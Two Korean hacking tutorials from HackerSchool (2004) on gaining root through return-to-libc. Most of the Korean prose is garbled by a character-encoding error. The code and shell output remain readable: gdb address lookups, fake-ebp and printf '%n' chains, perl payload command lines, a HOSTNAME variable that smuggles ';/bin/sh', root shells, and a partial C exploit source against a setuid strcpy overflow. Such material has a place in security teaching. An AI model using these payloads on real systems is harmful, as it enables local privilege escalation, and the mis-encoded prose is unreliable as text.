旨有收有有收收有收收收有收收收有收收收有收有收有收有收有收收收旬 早早 早早 早 收朽 收朽 早 早 早 早 早 收朱旬 早 早 早 早 早 旨收朽 早 早 早早 早 早 曳收 早 收朽 早 曳旬 旨朱收 早早 曳收收收朴收收朴收收收朴收收收朴收收收朴收收收旭曲收旭曲收收收朽早 早Since 2002. W / I / S / E / G / U / Y / S in HackerSchool 早早 早http://research.hackerschool.org 早早 曲有收收收收收收收收收收收收收收收收收收收收收收收收收收收收收旭早 曲收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收旭 收[Document Infomation] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 :: Title :: 螃詭陛蒂 檜辨и 瑞お蔗 僱(1) :: Date :: 2004. 5. 22. :: Author :: naska21 :: Contact:: E-Mail(naska21@hanmail.net) Homepage(http://naska.hackerschool.org) 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[Index] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 0x00. 濩氬 0x01. 遽綠 0x02. 奢問 0x03. 葆纂賊憮 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x00. 濩氬 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 橡葆瞪 嬴朝 碟檜 濛撩ж堅 啗衛朝 RTL婦溼 僥憮蒂 事靺攽鶹 螢溥場擎 勘 爾懊蝗棲棻. 僥憮 朝, 瑞お蔗擊 僱磈炱 嬪п 虞 鳶韓擊 衛濛ж朝 衛薄檜歷蝗棲棻. 斜楚憮 盪舒 и廓 鳶韓擊 п 爾懊堅, 瑞お蔗擊 僱磈炴繕 撩奢ц蝗棲棻. 螃棺 棻衛 陛憮 爾棲 僥憮陛 機等檜お 腎橫 氈歷 朝等蹂 盪嫌擎 棻艇 寞徹戲煎 瑞お蔗擊 僱磈牳抴麙瑪. 錳楚朝 鳶韓縑 撩奢ж賊 濠猿蒂 薑葬 п憮 斜 碟眷 萄葬晦煎 腎橫 氈歷朝等 薯 寞徹檜 渦 犒濩и雖塭 斜傖 偃檣瞳戲煎 薑葬虜 ж晦 煎 ц蝗棲棻. 嬴楚 睡攪朝 撲貲擊 除楞ж晦 嬪п 襄蘆擎 儅楞ж艘蝗棲棻. '螃詭陛'朝 檜ж OMG 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x01. 遽綠 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 蹂闈 渠睡碟曖 葬揪蝶 秣瞈□韭 system() 塭檜粽楝葬 л熱蒂 檜辨п 瑞お蔗擊 橢晦嬪п憮朝 setuid()曖 轎檜 в蹂ж棻. 斜楛等 瑞お曖 uid陛 0檜晦 陽僥縑 OMG擊 檜辨п憮 瑞お蔗擊 橢 晦 嬪п憮朝 檣濠 0x00000000擊 橫飩啪 辦葬陛 錳ж朝 夠縑 厥橫輿替傍 ж朝 橫溥遺檜 氈棻. 奢睡蒂 褻旎 ж褐 碟檜衛塭賊 橫替 事靺攽 鬼謝縑憮 蝶鷗奢除縑 襄營ж朝 0x00000000擊 檜辨 п 檜 僥薯蒂 п唸ж朝 寞徹檜 氈棻朝 匙擊 嬴褒 匙殮棲棻. ж雖虜 檜 寞徹 傳и 葭觼蒂 勘橫 撿 ж朝 濛機檜 в蹂п 梃莠и 替釵擎 菟雖 彊朝棻. ж雖虜, 檜 寞徹擊 檜辨ж賊憮 葭觼蒂 勘 雖 彊嬴紫 腎朝 0x00000000檜 氈朝 睡碟擊 瓊啪 腎歷棻. 檜匙縑 渠и 匙擎 棻擠 廓縑 釭螢 僥 憮縑憮 樹晝ж紫煙 й 匙檜棻. 檜薯 в濠陛 鳶韓и 寞徹擊 憲嬴爾啊棻. 罹晦縑憮 陛薑ж堅 氈朝 秣瞈● 賃陛雖 薯擒 餌о 檜 襄營ж朝等.. 辦摹 楠渾 蝶鷗檜棻. 斜葬堅 蝶鷗縑朝 褒ч 掏и檜 橈棻. 蔗囀萄蒂 餌辨й 熱 橈棻朝 匙檜棻. 楠渾 蝶鷗曖 艙щ擊 嫡雖 彊堅 OMG擊 檜辨п 瑞お蔗擊 僱磈 爾紫煙 ж啊棻. 罹晦憮朝 辦摹 秣 滲熱蒂 檜辨й 匙檜棻. 秣皞紡鶺 輿模朝 薑旁 啗骯檜 陛棟ж晦 陽僥 檜棻. 鏃擒и Щ煎斜極檜 秣皞紡鷏 棻 雖錶幗葬賊 橫飩啪 ж朝陛? 斜匙縑 渠и п唸疇擎 и 廓 蝶蝶煎 瓊嬴 爾晦 夥塢棻. ^^; 檜薯 橫飩啪 奢問囀萄蒂 掘撩й 匙檣雖 憲嬴爾啊棻. 錳ж朝 輿模縑 NULL 高擊 厥晦 嬪п printf()諦 "%n" ん訾 蝶お葭擊 餌辨й 匙檜棻. 僭煩 bzero()蒂 檜辨ж朝 寞徹紫 陛棟ж棻. 挫怹 陝濠陛 霜蕾 п爾晦 夥塢棻. ж雖虜 渦 犒濩ж棻朝 匙擊 憲嬴舒塭 ^^; printf("%n")擊 熱чж賊 棻擠縑 螃朝 檣濠煎 輿模高擊 嫡嬴憮 п渡 輿模高縑 0x00000000擊 厥橫輿啪 脹棻. 轎溘и 僥濠曖 偎熱陛 0檜晦 陽僥.. 斜葬堅 楠渾 蝶鷗 秣瘞 嬪縑憮 樹晝и 唳辦(蔗檜 熱ч腎雖 彊朝 唳辦:偽擎 夠縑 system()渠 褐 printf()曖 輿模蒂 厥橫爾賊 澀 熱ч脾, ж雖虜 蔗擎 熱ч腎雖 彊擠, 檜嶸朝 嬴霜 賅葷)縑 渠擬ж晦 嬪п strcpy()蒂 餌辨й 匙檜棻. 斜葬堅 檜楝и 奢問檜 陛棟ж紫煙 fake ebp晦徹擊 餌辨й 匙檜棻. 奢問僥濠翮擊 ж釭ж釭 掘撩п 爾濠賊.. 辦摹, 蔗擊 熱чж朝 僥濠翮檜 в蹂ж棻 陝 綰楣葆棻 4byte 輿模高檜 菟橫除棻. ('*'朝 ん檣攪蒂 嗆л. 闊, 陛葬酈朝 輿模) [ *system ][ ret ][ *"/bin/sh" ] 罹晦憮 ⑷營 [ret]縑朝 橫雯 僥濠翮檜 菟橫陛紫 鼻婦橈棻. 蔗虜 熱ч腎賊 腎晦 陽僥檜棻. 辦葬朝 瑞お蔗擊 僱磈媥 ж嘎煎 system()檜 熱ч腎晦 瞪縑 setuid(0)檜 轎腎橫撿 и棻. [ *setuid ][ *system ][ 0x00000000 ][ *"/bin/sh" ] 嬪諦 偽檜 腎橫撿 ж啊棻.. ж雖虜, 割 僥濠蒂 霜蕾 殮溘п 還 熱 橈晦 陽僥縑 割渠褐 噙溯晦 蒂 厥橫輿橫撿 и棻. 滲唳 嬴楚諦 偽棻.. [ *setuid ][ *system ][ 0xAAAAAAAA ][ *"/bin/sh" ] 棻擠擎 0xAAAAAAAA 睡碟縑 NULL 高擊 厥橫輿晦 嬪п printf("%n")擊 瞳辨и 唳辦檜棻. 罹晦憮睡攪陛 醞蹂и等.. fake ebp蒂 餌辨п撿 и棻. 旨收收收收收收收收收收收收收收收收旬 早 ∪ [ sfp ][ *printf ][ *leave ][ *"%n" ][ *0xAAAAAAAA ][ *setuid ][ *system ]= 旨收收收收收收收收收收收早收收收收收收旭 ∪ ∪ =[ 0xAAAAAAAA ][ *"/bin/sh" ][ "%n"(2byte) ] 檜 奢問囀萄蒂 斜渠煎 瞳辨п紫 腎雖虜, 僥薯朝 楠渾蝶鷗 秣瞈□韭 檜 奢問囀萄陛 襄營ж朝 輿模蒂 薑旅 憲 熱陛 橈棻朝 匙檜棻. 陽僥縑 薑旁 輿模 啗骯檜 陛棟и 秣皞紡鶹 檜 奢問 囀萄蒂 盪濰и fake ebp蒂 檜辨ж罹 esp蒂 п渡 輿模煎 檜翕衛酈賊 腎啊雖虜, в濠陛 纔蝶 おи 秣瞈□韭 檜楛 寞徹戲煎 printf蛔曖 л熱朝 熱ч腎歷雖虜 system擊 檜辨и 蔗 僱瞈● 褒ぬж艘棻. 檜嶸朝 Я濠紫 澀 賅腦啊棻..-_-; ж雖虜 鳶韓 唸婁 か檜и ⑷鼻擊 嫦唯ц棻. OMG擊 檜辨п system("/bin/sh")虜 熱чж朝等紫 sfp高縑 評塭憮 熱ч腆陽紫 氈堅 熱ч腎雖 彊 擊陽紫 氈歷棻. 嬴霜 檜嶸朝 賅腦啊棻. -_-;;;; 嬴鼠が 檜楝и 僥薯蒂 п唸ж晦 嬪п strcpy蒂 檜辨п憮 秣皞紡 奢除檜 嬴棋 蝶鷗 奢除戲煎 嬪 囀萄蒂 犒餌и 醴 斜 夠戲煎 esp蒂 衡啖, 啗樓п憮 葬欐檜 霞ч腎紫煙 罹晦憮紫 fake ebp 蒂 餌辨ц棻. 闊.. 嬪 囀萄朝 秣皞紡鶹 厥堅, main曖 ebp睡攪朝 bof蒂 檜辨п 嬴楚 囀萄蒂 竣橫 賦撿 и棻. [ sfp ][ *strcpy ][ *leave ][ dest addr ][ env addr ] env addr擎 擅縑憮 髦よ獄 蔗擊 熱чж朝 囀萄陛 菟橫氈朝 秣皞紡 輿模檜堅, dest addr婁 sfp朝 偽擎 高檜 腎橫撿 и棻. 檜嶸朝 strcpy縑 曖п dest addr煎 囀萄陛 犒餌脹 夥煎 檜 dest addr煎 esp陛 檜翕腎堅 ret 貲滄檜 熱ч腎橫撿 ж晦 陽僥.. 檜薯 渠楞瞳檣 偃蹂朝 部陬戲棲, 褒瞪戲煎 菟橫陛 爾紫煙 ж濠. 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x02. 奢問 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 鏃擒и 模蝶朝 嬴楚諦 偽棻. [naska21@naska21 test]$ cat vul01.c #include int main(int argc, char **argv) { char str[7]; strcpy(str, argv[1]); return 0; } [naska21@naska21 test]$ _ 闡だ橾 熱ч衛麵 爾賊, [naska21@naska21 test]$ ./vul01 `perl -e 'print "A"x28'` Segmentation fault [naska21@naska21 test]$ _ 嬪諦 偽檜 28偃 僥濠蒂 殮溘и 牖除睡攪 撮斜試纔檜暮 螃盟陛 嫦儅ж朝 匙擊 挫恉 熱 氈棻. 掏и擎 嬴楚諦 偽棻. [naska21@naska21 test]$ ls -al vul01 -rwsr-xr-x 1 root root 11354 5錯 19 11:52 vul01 檜薯 辦葬陛 в蹂и 薑爾(輿模)菟擊 賅嬴 爾濠. [naska21@naska21 test]$ gdb -q vul01 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/naska21/test/vul01 Breakpoint 1, 0x0804832e in main () (gdb) x/i printf 0x42052390 : push %ebp (gdb) x/i system 0x42041e50 : push %ebp (gdb) x/i setuid 0x420aefe0 : push %ebp (gdb) x/i strcpy 0x42079da0 : push %ebp (gdb) disas printf Dump of assembler code for function printf: 0x42052390 : push %ebp 0x42052391 : mov %esp,%ebp 0x42052393 : sub $0x18,%esp 0x42052396 : mov %ebx,0xfffffffc(%ebp) 0x42052399 : lea 0xc(%ebp),%ecx 0x4205239c : call 0x4201575d <__i686.get_pc_thunk.bx> 0x420523a1 : add $0xd7f2f,%ebx 0x420523a7 : mov 0x17c(%ebx),%eax 0x420523ad : mov (%eax),%eax 0x420523af : mov %ecx,0x8(%esp,1) 0x420523b3 : mov %eax,(%esp,1) 0x420523b6 : mov 0x8(%ebp),%eax 0x420523b9 : mov %eax,0x4(%esp,1) 0x420523bd : call 0x42047f00 0x420523c2 : mov 0xfffffffc(%ebp),%ebx *leave -> * 0x420523c5 : mov %ebp,%esp * 0x420523c7 : pop %ebp 0x420523c8 : ret 0x420523c9 : nop 0x420523ca : nop 0x420523cb : nop 0x420523cc : nop 0x420523cd : nop 0x420523ce : nop 0x420523cf : nop End of assembler dump. (gdb) ≦ 嬪 頂辨戲煎 嬴楚諦 偽檜 餌辨腆 輿模菟擊 憲 熱 氈棻.. printf : 0x42052390 system : 0x42041e50 setuid : 0x420aefe0 strcpy : 0x42079da0 leave : 0x420523c5 "/bin/sh" 僥濠翮擎 嬴楚 Щ煎斜極擊 闡だ橾 褒ч 衛酈賊 橢擊 熱 氈棻. [naska21@naska21 test]$ cat findstr.c #include int main() { char *ptr=0x42041e50; /* system 輿模 */ while(1) { if(*ptr == '/') if(strcmp(ptr, "/bin/sh") == 0) break; ptr++; } printf("%s : %p\n", ptr, ptr); } [naska21@naska21 test]$ ./findstr /bin/sh : 0x42121466 [naska21@naska21 test]$ _ 斜葬堅 犒餌й 渠鼻 輿模蒂 嘐葬 薑п堤撿 и棻.. в濠朝 0xbffffa24 蝶鷗 奢除縑 秣皞紡鶹 盪濰и 囀萄蒂 犒餌й 匙檜棻. 斜溢棻賊 嬴楚諦 偽檜 囀萄蒂 掘撩п憮 秣皞紡鶹 盪濰п撿 и棻. 0xbffffa24 早 ∪ [ sfp ][ *printf ][ *leave ][ *"%n " ][*0xAAAAAAAA][ *setuid ][ *system ]= [0xbffffa34][0x42052390][0x420523c5][0xbffffa48][ 0xbffffa40][0x420aefe0][0x42041e50]= =[0xAAAAAAAA][*"/bin/sh"][ "%n"(2byte) ] =[0xAAAAAAAA][0x42121466][ "\x25\x62" ] 嬴楚諦 偽檜 秣皞紡鷊 盪濰и棻. [naska21@naska21 test]$ export EBP=`printf "\x34\xfa\xff\xbf\x90\x23\x05\x42\xc5\x23\x05 \x42\x48\xfa\xff\xbf\x40\xfa\xff\xbf\xe0\xef\x0a\x42\x50\x1e\x04\x42\xaa\xaa\xaa\xaa\x66 \x14\x12\x42\x25\x6e"` EBP曖 輿模朝 嬴楚諦 偽檜 挫恉 熱 氈棻. [naska21@naska21 test]$ cat envprt.c #include int main(int argc, char **argv) { printf("%s env : %p\n", argv[1], getenv(argv[1])); } [naska21@naska21 test]$ ./envprt EBP EBP env : 0xbfffff8a [naska21@naska21 test]$ _ 秣皞紡鶼 褒ч秣瞈 評塭 滲ж朝等.. 滌棻艇 褻濛檜 橈朝и 褒ч だ橾貲縑 曖п 擒除曖 離 檜陛 儅梢棲棻. 斜 離檜朝, "./envprt" 褒ч だ橾貲 望檜諦曖 離檜x2 檜嘎煎 EBP 秣皞紡鶺 薑旁 輿模朝 鏃擒и だ橾貲曖 望檜陛 "./vul01"煎 7旋濠 "./envprt"朝 8旋濠, x2朝 2byte, 嬪 唸婁縑憮 釭螞 輿模 0xbfffff8a + 2 = 0xbfffff8c陛 脹棻. ./vul01 褒ч 醞 EBP 輿模 : 0xbfffff8c 斜溢棻賊 謁 (だ橾貲 望檜 離檜)x2 虜躑曖 輿模離檜陛 儅望梱? 嬴楚 囀萄蒂 闡だ橾ж堅 褒ч衛麵爾賊, [naska21@naska21 test]$ cat test02.c #include int main(int argc, char **argv) { int i; char *ptr; ptr = (char*)getenv("HOME"); for(; ptr <= (char*)0xbfffffff ; ptr++) { if(*ptr == '\x00') printf("\n"); printf("%c", *ptr); } printf("\n"); return 0; } [naska21@naska21 test]$ ./test02 /home/naska21 LOGNAME=naska21 EBP=4?#B?BH???賴? BPB牧牧fB%n LESSOPEN=|/usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=./test02 ./test02 [naska21@naska21 test]$ _ 嬪諦 偽擎 唸婁蒂 橢擊 熱 氈棻. 爾賊 裔 葆雖虞 秣皞紡("_=") 棻擠縑 褒ч だ橾貲檜 氈棻. 斜葬堅 葆雖虞 秣皞紡鶺 頂辨 羲衛 僅偽擎 褒ч だ橾貲檜棻. 蝶鷗擎 嬪縑憮 睡攪 嬴楚煎 濠 塭釭晦 陽僥縑 鼻嬪 輿模縑 氈朝 蝶お葭曖 望檜陛 陛梱遴 ж嬪 輿模 唸薑縑 艙щ擊 嘐纂啪 脹 棻. 陽僥縑 辦葬陛 雖薑и 秣皞紡鷅葩 鼻嬪 輿模縑 褒чだ橾貲檜 舒廓 盪濰腎晦 陽僥縑, 褒 薯 Щ煎斜極檜 褒ч醞縑 秣皞紡 輿模曖 離檜陛 (褒чだ橾貲 離檜) x2陛 腎朝 匙檜棻. 檜薯 霜蕾 Щ煎斜極曖 檣濠煎 剩啖還 囀萄蒂 濛撩п 爾紫煙 ж濠. 飛橉 號檜 剩橫 鬲戲嘎煎 辦葬陛 罹晦縑憮 в蹂и 高菟擊 棻衛 釭翮п 爾啊棻. strcpy : 0x42079da0 leave : 0x420523c5 dest : 0xbffffa24 EBP env: 0xbfffff8c [ sfp ][ *strcpy ][ *leave ][ dest addr][ env addr ] [0xbffffa24][0x42079da0][0x420523c5][0xbffffa24][0xbfffff8c] 檜薯 檜 高菟擊 鏃擒и Щ煎斜極曖 檣濠煎 剩啖遽棻. [naska21@naska21 test]$ ./vul01 `perl -e 'print "A"x24,"\x24\xfa\xff\xbf","\xc8\x23\x05 \x42","\x50\xc4\x07\x42","\xc5\x23\x05\x42","\x24\xfa\xff\xbf","\x8c\xff\xff\xbf","\x26"'` sh-2.05b# id uid=0(root) gid=503(naska21) groups=503(naska21) sh-2.05b# exit exit Segmentation fault [naska21@naska21 test]$ _ 撩奢ц棻!! (ps. 秣皞紡 輿模 啗骯 寞徹檜 曖褕檜 陛朝 碟擎 纔蝶お 秣瞈□ 霜蕾 啗骯ж罹 嬪 囀萄縑 憮 strcpy曖 輿模 渠褐 printf曖 輿模蒂 殮溘ж罹 熱чп 爾晦 夥塢棻.) 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x03. 葆纂賊憮 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 .. 菟啪 啖辦 葆蟻蝗棲棻. 鳶韓 и 曄擎 薑蜓 號擎等.. 唸婁僭擎 о鼻 瞳捱蹂 ^^; 檜廓 僥憮朝 億煎遴 寞徹擊 憮獎и 匙檜 嬴棲堅, 晦襄曖 氈湍 寞徹菟擊 檜溢啪紫 擬辨й 熱 氈棻朝 匙擊 霜蕾 爾檣 匙 閨殮棲棻. и葆蛤煎 '遜騁' 檜塭堅 й 熱紫 氈轄..六六 ж雖虜 檜廓 鳶韓擊 鱔п 億照啪 憲啪 脹 匙菟紫 號戲貊, 億煎檜 儅曹 曖僥菟紫 號蝗棲棻. 啪棻陛 僥憮蒂 薑葬ж賊憮 梟殘朝啪 渦 號擎 匙 偽渦捱蹂.. 薑蜓 醞蹂и 勒 檜楛 僥憮陛 檜 僥憮蒂 爾朝 檜菟縑啪 褒ぬ曖 唳я梱雖 賅舒 瞪殖й 熱陛 橈 棻朝 匙殮棲棻. 撩奢擎 顫檣 唳я擊 鱔п 憲 熱 氈雖虜, 褒ぬ朝 霜蕾 唳яп瑭撿 憲 熱 氈棻堅 儅陝м棲棻... 螃棺曖 MSN 渠飛 : 鳶韓擎 頂 耀掘~ -仃- 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 旨有收有有收收有收收收有收收收有收收收有收有收有收有收有收收收旬 早早 早早 早 收朽 收朽 早 早 早 早 早 收朱旬 早 早 早 早 早 旨收朽 早 早 早早 早 早 曳收 早 收朽 早 曳旬 旨朱收 早早 曳收收收朴收收朴收收收朴收收收朴收收收朴收收收旭曲收旭曲收收收朽早 早Since 2002. W / I / S / E / G / U / Y / S in HackerSchool 早早 早http://research.hackerschool.org 早早 曲有收收收收收收收收收收收收收收收收收收收收收收收收收收收收收旭早 曲收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收旭 收[Document Infomation] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 :: Title :: 螃詭陛蒂 檜辨и 瑞お蔗 僱(2) :: Date :: 2004. 5. 23. :: Author :: naska21 :: Contact:: E-Mail(naska21@hanmail.net) Homepage(http://naska.hackerschool.org) 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[Index] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 0x00. 濩氬 0x01. 遽綠 0x02. 奢問 0x03. make exploit 0x04. 葆纂賊憮 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x00. 濩氬 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 戴.. Я堆ж啻蹂. =_=; й匙擎 號擎等.. ;; 檜瞪 僥憮縑憮朝 蝶鷗縑 錳楚 襄營ж朝 NULL擊 檜辨ж雖 彊堅 setuid(0)擊 熱чп 瑞お蔗擊 僱磈炴 婁薑擊 髦よ 爾懊蝗棲棻. 樂霜.. 犒濩ж轄.. -_-; 檜廓 僥憮縑憮 main曖 ret 檜 醴 襄營ж朝 NULL高擊 陛雖堅 瑞お蔗擊 僱磈炴 匙擊 爾檜啊 蝗棲棻. 檜楝и 寞徹擎 檣攪喘曖 棻艇 僥憮縑憮紫 棻瑞堅 氈雖虜, 葭觼蒂 熱чж轄. 檜 僥憮縑 憮 爾罹萄萵 寞徹縑憮朝 葭觼陛 в蹂橈蝗棲棻. ^^; 纔蝶お 秣磍 溯萄⑩ 9.0, 醴割 幗蟒擎 2.6.1 殮棲棻. 斜歲 gogogo~ (檜ж 除楞и 撲貲擊 嬪п 襄蘆擎 儅楞м棲棻.) 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x01. 遽綠 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 罹晦憮朝 號擎 遽綠朝 в蹂纂 彊棻. 除欽 main曖 ret 檜醴 襄營ж朝 高菟縑 渠п 憲嬴 獐 匙檜棻. 嬴楚 渾Щ蒂 髦よ爾濠. [naska21@naska21 test]$ gdb -q vul01 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/naska21/test/vul01 Breakpoint 1, 0x0804832e in main () (gdb) x/64x $ebp 0xbffffac8: 0xbffffae8 0x420158d4 0x00000001 0xbffffb14 0xbffffad8: 0xbffffb1c 0x400124b8 0x00000001 0x08048278 0xbffffae8: 0x00000000 0x08048299 0x08048328 0x00000001 0xbffffaf8: 0xbffffb14 0x08048230 0x0804837c 0x4000a950 0xbffffb08: 0xbffffb0c 0x4001020c 0x00000001 0xbffffc19 0xbffffb18: 0x00000000 0xbffffc32 0xbffffc4b 0xbffffc5b 0xbffffb28: 0xbffffc66 0xbffffc74 0xbffffc84 0xbffffca5 0xbffffb38: 0xbffffcb8 0xbffffcc5 0xbffffe88 0xbffffef0 0xbffffb48: 0xbfffff0d 0xbfffff19 0xbfffff30 0xbfffff45 0xbffffb58: 0xbfffff56 0xbfffff69 0xbfffff71 0xbfffff81 0xbffffb68: 0xbfffffa3 0xbfffffce 0x00000000 0x00000020 0xbffffb78: 0xffffe400 0x00000021 0xffffe000 0x00000010 0xbffffb88: 0x0383fbff 0x00000006 0x00001000 0x00000011 0xbffffb98: 0x00000064 0x00000003 0x08048034 0x00000004 0xbffffba8: 0x00000020 0x00000005 0x00000006 0x00000007 0xbffffbb8: 0x40000000 0x00000008 0x00000000 0x00000009 (gdb) vul01擎 擅 僥憮縑憮 髦よ爾懊湍 bof 鏃擒薄擊 陛雖堅 氈朝 Щ煎斜極檜棻. 除欽 嬪曖 頂辨菟擊 薑葬ж濠賊, 1 [ sfp ][ ret ][ argc ][ **argv ] 2 [ **env ][ ---- ][ argc ][ ---- ] 3 [ NULL ][ ---- ][ *main ][ argc ] 4 [ **argv ][ ---- ][ ---- ][ ---- ] 5 [ ---- ][ ---- ][ argc ][*argv[0]] 6 [ NULL ][ *env[0]][ *env[1]][ ...... ] 7 ........................................ 嬪諦 偽擠擊 挫恉 熱 氈棻. ( '----'朝 罹晦憮朝 醞蹂纂 彊擎 高菟.. ) 嬪縑憮 5~6廓簞 還擊 輿跡ж塭. Щ煎斜極擊 熱чй 陽 檣濠蒂 賃偃蒂 剩啖 輿替傍縑 評塭 檜 睡碟擎 陛滲瞳檜棻. 蕨蒂 菟橫, 嬪曖 唳辦朝 檣濠陛 橈朝 唳辦檜堅, 檣濠蒂 ж釭 輿歷棻賊 6廓 簞還縑憮 NULL檜 и綰楣 菴煎 塵溥陳 匙檜棻. *argv[n] 檜 部釭朝 雖薄縑 NULL檜 嬪纂ж晦 陽 僥檜棻. 罹晦憮 輿跡п撿 й 匙擎 6廓簞 還曖 NULL 棻擠縑 羅廓簞 秣皞紡鶺 輿模陛 氈棻朝 匙檜棻. 陽僥縑 羅廓簞 秣皞紡鶺 高擊 褻濛ж堅, 6廓簞 還縑 氈朝 NULL 夥煎 檜瞪縑 system曖 輿模 蒂 overwriteж賊 蔗擊 熱ч衛鑒 熱 氈棻. 斜葬堅 system曖 輿模蒂 overwriteи 雖薄 夥煎 檜 瞪縑 setuid曖 輿模蒂 overwriteж賊 辦葬朝 瑞お蔗擊 僱磈 熱 氈棻. 檜 陽, 辦葬朝 奢問 僥 濠翮擊 argv[1]煎 剩啖輿嘎煎 嬴敘試お曖 偎熱陛 棺橫釭啪 腎橫 6廓簞 還曖 NULL檜 氈朝 夠婁 main曖 ret諦曖 剪葬陛 4夥檜お 隸陛ж啪 脹棻. 奢問 嬴楚諦 偽檜 腎撿 и棻. .... [ *argv[0] ][ *argv[1] ][ NULL ][ *env[0] ] ... => .... [ *setuid ][ *system ][ NULL ][ *env[0] ] ... 陽僥縑 奢問 僥濠翮擎 system曖 輿模梱雖虜 殮溘п輿賊 脹棻. 斜葬堅 欽牖 盪 嬪纂梱雖 esp 蒂 隸陛衛酈晦 嬪п 除欽 "ret" 貲滄橫陛 襄營ж朝 輿模虜 厥橫輿賊 п唸脹棻. 斜溢棻賊 奢問囀萄朝 嬴楚諦 偽檜 腆 匙檜棻. main ret ... [ *ret ] x 18 [ *setuid ][ *system ] 檜煩瞳檣 匙擎 罹晦梱雖 ж堅, 檜薯 褒瞪縑 瞳辨п 爾紫煙 ж啊棻. 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x02. 奢問 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 嬴楚諦 偽檜 в蹂и 輿模蒂 橢朝棻. [naska21@naska21 test]$ gdb -q vul01 (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/naska21/test/vul01 Breakpoint 1, 0x0804832e in main () (gdb) x/i system 0x42041e50 : push %ebp (gdb) x/i setuid 0x420aefe0 : push %ebp (gdb) disas printf Dump of assembler code for function printf: 0x42052390 : push %ebp 0x42052391 : mov %esp,%ebp 0x42052393 : sub $0x18,%esp 0x42052396 : mov %ebx,0xfffffffc(%ebp) 0x42052399 : lea 0xc(%ebp),%ecx 0x4205239c : call 0x4201575d <__i686.get_pc_thunk.bx> 0x420523a1 : add $0xd7f2f,%ebx 0x420523a7 : mov 0x17c(%ebx),%eax 0x420523ad : mov (%eax),%eax 0x420523af : mov %ecx,0x8(%esp,1) 0x420523b3 : mov %eax,(%esp,1) 0x420523b6 : mov 0x8(%ebp),%eax 0x420523b9 : mov %eax,0x4(%esp,1) 0x420523bd : call 0x42047f00 0x420523c2 : mov 0xfffffffc(%ebp),%ebx 0x420523c5 : mov %ebp,%esp 0x420523c7 : pop %ebp *ret -> 0x420523c8 : ret 0x420523c9 : nop 0x420523ca : nop 0x420523cb : nop 0x420523cc : nop 0x420523cd : nop 0x420523ce : nop 0x420523cf : nop End of assembler dump. (gdb) в蹂и 輿模朝 嬴楚諦 偽棻. system : 0x42041e50 setuid : 0x420aefe0 ret : 0x420523c8 奢問ж晦 瞪縑 羅廓簞 秣皞紡鶺 高擊 夥脯撿 и棻. [naska21@naska21 test]$ echo $HOSTNAME naska21 [naska21@naska21 test]$ 羅廓簞 秣皞紡鶼 "HOSTNAME" 檜棻. 擅憮 髦よ獄 *env[0]縑朝 秣皞紡鷏簎 んли 秣皞紡 ん檣攪 檜嘎煎 秣皞紡鰤 滲唳橈檜 system擊 熱ч衛酈賊 "HOSTNAME=naska21"擊 褒ч衛酈啪 腎 朝 匙檜棻. 陽僥縑 嬴楚諦 偽檜 HOSTNAME 秣皞紡鷏 滲唳п 遽棻. [naska21@naska21 test]$ export HOSTNAME="naska21;/bin/sh" 檜薯 鏃擒и Щ煎斜極擊 奢問п 爾濠. [naska21@naska21 test]$ ./vul01 "`perl -e 'print "A"x28,"\xc8\x23\x05\x42"x18,"\xe0\xef \x0a\x42","\x50\x1e\x04\x42"'`" sh-2.05b# id uid=0(root) gid=503(naska21) groups=503(naska21) sh-2.05b# exit exit Segmentation fault [naska21@naska21 test]$ _ 撩奢ц棻. ""煎 僮橫遽 檜嶸朝 setuid輿模縑 "\x0a" 僥濠陛 んл腎橫 斜 菴縑 頂辨擎 檣濠煎 瞪殖腎雖 彊晦 陽僥縑 賅萇 僥濠蒂 檣濠煎 瞪殖п 輿晦 嬪л檜棻. 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x03. make exploit ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 梃莠и 奢問擊 嬪и exploit檜棻. [naska21@naska21 test]$ cat ex01.c #include #include #include char arg[200]; char *argv[] = {"./vul01", arg, NULL}; char *envp[] = {"/bin/sh", NULL}; // 秣皞紡 ж釭虜 錳ж朝 僥濠翮煎 撲薑п輿賊 脹棻. main() { // dummy, ret, setuid, system unsigned long libs[] = {0x41414141, 0x420523c8, 0x420aefe0, 0x42041e50}; unsigned long *ptr; int i; ptr = (unsigned long *)arg; for(i = 0; i < 7; i++, ptr++) // dummy(28 byte) { *ptr = libs[0]; } for(i = 0; i < 18; i++, ptr++) // retx18 { *ptr = libs[1]; } *ptr++ = libs[2]; // setuid *ptr++ = libs[3]; // system *ptr = (unsigned 